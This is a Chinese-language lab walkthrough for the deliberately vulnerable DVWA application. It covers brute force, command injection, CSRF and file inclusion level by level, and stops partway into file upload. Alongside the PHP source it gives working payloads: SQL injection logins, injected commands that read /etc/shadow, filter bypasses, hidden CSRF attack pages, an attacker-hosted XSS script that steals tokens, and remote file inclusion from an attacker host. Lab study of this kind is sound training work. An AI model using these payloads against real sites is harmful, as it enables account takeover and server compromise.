DVWA通关过程
搭建
准备:
phpStudy
git clone https://github.com/cytopia/docker-dvwa
cd docker-dvwa
make start
配置hosts
dvwa.loacl
为靶机
hack.loacl
为攻击机
修改配置
magic_quotes_gpc = Off
alLow_url_fopen = on
alLow_url_include = on
$_DVWA[ ‘db_server’ ] = ‘127.0.0.1’;
$_DVWA[ ‘db_database’ ] = ‘dvwa’;
$_DVWA[ ‘db_user’ ] = ‘root’;
$_DVWA[ ‘db_password’ ] = ‘root’;
# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = ‘5432’;
# ReCAPTCHA settings
# Used for the ‘Insecure CAPTCHA’ module
# You’ll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ ‘recaptcha_public_key’ ] = ‘6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg’;
$_DVWA[ ‘recaptcha_private_key’ ] = ‘6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ’;
访问
http://ip/dvwa
admin
password
Setup / Reset DB
>> Create / Reset Database
DVWA Security
可设置难度等级: low
、Medium
、High
、Impossible
Brute Force (爆破)
利用密码字典,通过枚举法拆解出用户口令
Low
源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
只使用isset
函数(php中监测变量是否设置,返回布尔值)验证参数Login是否被设置,没有任何防护机制,对username
、password
未作任何过滤存在明显的SQL注入漏洞。
漏洞利用
密码爆破
-
浏览器启用代理:
127.0.0.1:8080
-
Burp Suite Pro :
Proxy
(代理) >>Options
(选项) >>Proxy Listeners
(代理监听器) -
浏览器访问
Brute Force
输入用户名和密码后,点击Login
按钮 -
Burp Suite Pro 截获了数据包,
Proxy
(代理) >>Intercept
(截断)Forward
(发送) ,Drop
(丢弃) ,Intercept is on
(拦截启用) /Intercept is off
(拦截禁用) ,Action
(操作) -
将拦截数据发到
Intruder
模块(Action >> Send to Intruder
/Ctrl+I
) >>Positions
>>Attack type
为Sniper
>>Clear $
清除所有$
符号 >> 需要爆破密码所以将$
符添加到password参数上password=$password$
>>Payloads
载入字典 >>Start attack
进行爆破,枚举尝试完字典中的所有文件后,比较响应长度(Length
) "与众不同"的推测为正确密码,可在Response >> Render
浏览网页验证结果
手工SQL注入
Username:admin' or '1'='1
Password:(空)
Username:admin' #
Password:(空)
Medium
源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
较Low级增加了 mysqli_real_escape_string
函数,对字符串中的特殊字符(NUL(\x00)
、\n
、\r
、\
、'
、"
和 ^Z(\x1a)
) 进行转义,基本上能防御SQL注入工具(MySQL5.5.37以下版本设置编码为GBK,能构造编码绕过对单引号的转义);$pass
做了MD5校验,杜绝了参数password进行SQL注入的可能性,但仍然没有有效的防爆破机制,sleep(2)
仅延迟执行2秒。
mysqli_real_escape_string
: 1 , 2
漏洞利用
SQL注入无效,仍可用Burpsute爆破
High
源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
加入Token,可防御CSRF攻击,同时也增加了爆破的难度,登录验证需要四个参数: username
、password
、Login
、user_token
。
每次服务器返回的登录页都包含一个随机值user_token
,用户每次登录时都需一起提交user_token
,服务器收到请求后会先做token的检查,再进行SQL查询。
同时使用了stripslashes
(去除字符串中反斜线字符,若有两个则去除一个)、mysqli_real_escape_string
对参数username
、password
进行过滤、转义,进一步防御SQL注入。
漏洞利用
Intruder
Payloads
>>Attack type
使用Pitchfork
Options
>>Request Engine
>>Number of threads
为1
>>Grep-Extract
>>Add
>>Refetch response
>> 在下方找到user_token
的值,选中并复制,选中后上方会自动填写相应的值 >>OK
Payloads
Payload Sets
>>Payload set
为2
>>Payload type
为Recursive grep
>>Payload Options [Recursive grep]
>>Initial payload for first request
为刚才复制的token值
Payload Sets
>>Payload set
为1
>>Payload type
为Simple list
>>Payload Options [Simple list]
加载字典 >>Start attack
>>Length
与众不同
Impossible
源码
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
加入了可靠的防爆破机制,监测到频繁的错误登录后,系统将锁定帐号,同时采用更为安全的PDO(PHP Data Object,不能PDO扩展本身执行任何数据库操作,而SQL注入的关键是通过破坏SQL语句结构执行恶意SQL命令) 机制防御SQL注入。
Command Injection (命令注入)
Low
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
stristr(string,search,before_search)
函数搜索字符串在另一字符串中第一次出现,返回字符串的剩余部分,未找到返回false
;string
参数为被搜索字符串,search
参数为要搜索的字符串(若该参数为数字,用对应的ASCII值的字符),before_search
参数为布尔型,默认为 false
,设置为 true
函数将返回 search
参数第一次出现之前的字符串部分。
php_uname(mode)
函数返回运行php的操作系统的相关描述,mode
参数可取值: a
(默认,包含所有模式),s
(返回操作系统名称),n
(返回主机名),r
(返回版本名称),v
(返回版本信息),m
(返回机器类型)。
服务器通过判断操作系统执行不同的ping命令,但对IP参数并未做任何过滤,导致严重命令注入漏洞。
漏洞利用
Windows 和 Linux 系统都可用 &&
执行多条命令
127.0.0.1 && net user
127.0.0.1 && cat /etc/shadow
Medium
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
服务端对IP参数做了一定过滤,把 &&
、 ;
过滤了,本质上采用的是黑名单机制,因此依旧存在安全问题。
漏洞利用
- 只过滤了
&&
与;
所有&
不会受影响
&&
与 &
的区别:
CommandA && CommandB
先执行 CommandA
成功后执行 CommandB
否则不执行 CommandB
CommandA & CommandB
不管 CommandA
是否成功 CommandB
都执行
- 由于使用
str_replace
把&&
、;
替换成了空字符,因此可用&;&
绕过
High
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
进一步完善了黑名单,但黑名单有局限性,仍然可绕过
漏洞利用
过滤列表中 |
(后有一个空格),|
成了漏网之鱼,在命令|
与命令间不只用空格即可绕过。
CommandA |CommandB
|
为管道符,将 CommandA
输出作为 CommandB
的输入,且只打印 CommandB
的结果。
Impossible
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
stripshes(string)
函数会删除字符串 string
中的反斜杠,返回已剔除反斜杠的字符串
explode(separator,string,[limit])
函数把字符串打散为数组,返回字符串的数组,separator
参数规定在哪分割字符串,string
参数是要分割的字符,可选参数 limit
规定返回的数组元素的数目。
is_numeric(string)
函数监测 string
是否为数字或数字字符串,是返回 true
,否 返回 false
。
加入了 Anti-CSRF token
同时对参数 ip
进行了严格限制,只有 数字.数字.数字.数字
的输入才会被接收执行。
CSRF(Cross Site Request Forgery,跨站请求伪造)
Low
源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
服务器通过cookie验证身份,收到的修改密码请求后,会检查参数 password_new
与 password_conf
是否相同,相同则修改密码,并没有防范CSRF机制
漏洞利用
构造链接 http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#
。
受害者点击链接后,他的密码就会被修改成 hack
,通过链接可直观的就看到内容 。
由于服务器需要使用到Cookie验证身份,而Cookie受浏览器影响,若攻击者与受害者使用不同种的浏览器就无法达成攻击效果 。
可用以下方式伪装
- 可制作短链接来隐藏URL
- 构造攻击页面
<html>
<head>
<title>404</title>
</head>
<img src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#" border="0" style="display:none;">
<h1>404<h1>
<h2>file not found.<h2>
</html>
<script src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>
<iframe src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#" style="display:none;"></iframe>
<img src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#" border="0" style="display:none;">
Medium
源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
stripos(string pattern,string string)
检查 string
在 pattern
中出现的位置(不区分大小写),如果有返回 true
,没有返回 false
。
检查保留变量 HTTP_REFERER
(http
包头的 Referer
参数的值,表源地址) 中是否包含 SERVER_NAME
(http
包头的 Host
参数,及要访问的主机名) ,只检查了是否含有需要访问主机的主机名,只要 referer
中出现 Host
就可以正常操作 。
漏洞利用
构造 dvwa.loacl.html
的 CSRF
网页文件,放到 hack.loacl
上通过访问该文件,已失效
未知原因浏览器发送的跨站请求中不包含路径信息,导致构造 Referer http://hack.loacl/dvwa.loacl.html
失败。
构造的 dvwa.loacl.html
容易被发现,可使用 URL
转码,将 dvwa.loacl.html
转义为 %64%76%77%61%2e%6c%6f%63%61%6c%2e%68%74%6d%6c
。构造链接 http://hack.loacl/%64%76%77%61%2e%6c%6f%63%61%6c%2e%68%74%6d%6c
配合 XSS Stored
使用,通过 XSS 伪造请求实现攻击,但这已不属于跨站请求了,所以在这个级别的 DVWA 漏洞中就是一个悖论。
<img src="/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change">
在 XSS Stored
Medium 级别中,name
的位置填入以上内容,Message
随便填,点击 sign guestbook
提交后伪造的请求就保存到了服务器,当被攻击者访问该页面时,由 XSS 实现请求的发出。
也可使用文件上传漏洞上传一个构造好的内容,同理,这也不在属于跨站了,且文件上传已是可利用的漏洞完全可以考虑直接拿shell,除非被上传的文件不可被执行。
High
源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
加入 Anti-CSRF token
机制,用户每次访问该页,服务器会返回一个随机 token ,向服务器发起请求时需提交 token 参数,服务器收到请求后先检查 token 只有 token 正确才处理请求
漏洞利用
攻击页需要获取修改密码页的 token
这属于跨域请求,浏览器已经禁止,只能另寻它法 。
利用 XSS 获取 token
- 通过同网站存在的 DOM XSS 实现请求伪造
alert(document.cookie);
var theUrl = 'http://dvwa.local/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://dvwa.local/vulnerabilities/csrf/?user_token='+token+'&password_new=hack&password_conf=hack&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
xss.js
放置在攻击者 hack.local
上,配合dvwa.local
存在的 DOM XSS
实现跨域请求来获取用户 token 受害者访问: http://dvwa.local/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://hack.local/xss.js"></script>
诱导点击后修改密码为 hack
。
Impossible
源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
利用 PDO 技术防范 SQL 注入,要求用户输入原始密码防范 CSRF 攻击者在不知道原始密码情况下无法进行 CSRF 攻击 。
File Inclusion (文件包含)
Low
源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
服务端对 page
参数没有任何过滤检查 。
服务器包含文件时,不管文件后缀名是否是 php ,都将当作 php 文件执行,若内容确为 php 正常执行并返回结果,若不是,则原封不动将内容打印,所以文件包含漏洞常常会导致任意文件读取与任意文件执行。
漏洞利用
- 本地文件包含(本地文件读取)
构造url : http://dvwa.local/dvwa/vulnerabilities/fi/?page=/etc/shadow
。
报错显示没有这个文件,说明服务器系统不是 Linux ,但同时暴露了服务器文件的绝对路径 C:\Install\phpstudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php
。
构造绝对路径url: http://dvwa.local/vulnerabilities/fi/?page=C:\Install\phpstudy\PHPTutorial\WWW\DVWA\php.ini
。
构造相对路径url: http://dvwa.local/vulnerabilities/fi/?page=C:\Install\phpstudy\PHPTutorial\WWW\DVWA\php.ini
读取到该文件的内容。
- 远程文件包含
服务器配置中,选项 alLow_url_fopen
与 alLow_url_include
为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查,就容易导致任意远程代码执行。
在远程服务器 hack.local
上传 phpinfo.txt
。
<?php phpinfo();?>
构造url http://dvwa.local/dvwa/vulnerabilities/fi/?page=http://hack.local/phpinfo.txt
。
http://hack.local/phpinfo.txt
>> %68%74%74%70%3a%2f%2f%68%61%63%6b%2e%6c%6f%63%61%6c%2f%70%68%70%69%6e%66%6f%2e%74%78%74
>> http://dvwa.local/dvwa/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%6c%6f%63%61%6c%2f%70%68%70%69%6e%66%6f%2e%74%78%74
Medium
源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
增加了 str_replace
函数对 page
参数进行处理,将 http://
、https://
、../
、..\
替换成空字符(删除)。
漏洞利用
hthttp://tp://
, ..././
等经过过滤后成为: http://
, ../
High
源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
使用了 fnmatch
函数检查 page
参数,要求 page
参数的开头必须是 file
,服务器才会去包含相应的文件。
漏洞利用
- 本地包含依然存在
/fi/?page=file:///etc/passwd
- 结合文件上传利用
依然可以利用 file 协议绕过防护策略,需要结合文件上传漏洞,将文件上传到服务器,并能获取到完整的路径,即可利用文件包含漏洞执行上传的文件。
Impossible
源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
简单粗暴,page
参数必须为 include.php
、file1.php
、file2.php
、file3.php
之一,彻底杜绝了文件包含漏洞。
File Upload (文件上传)
Low
源码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
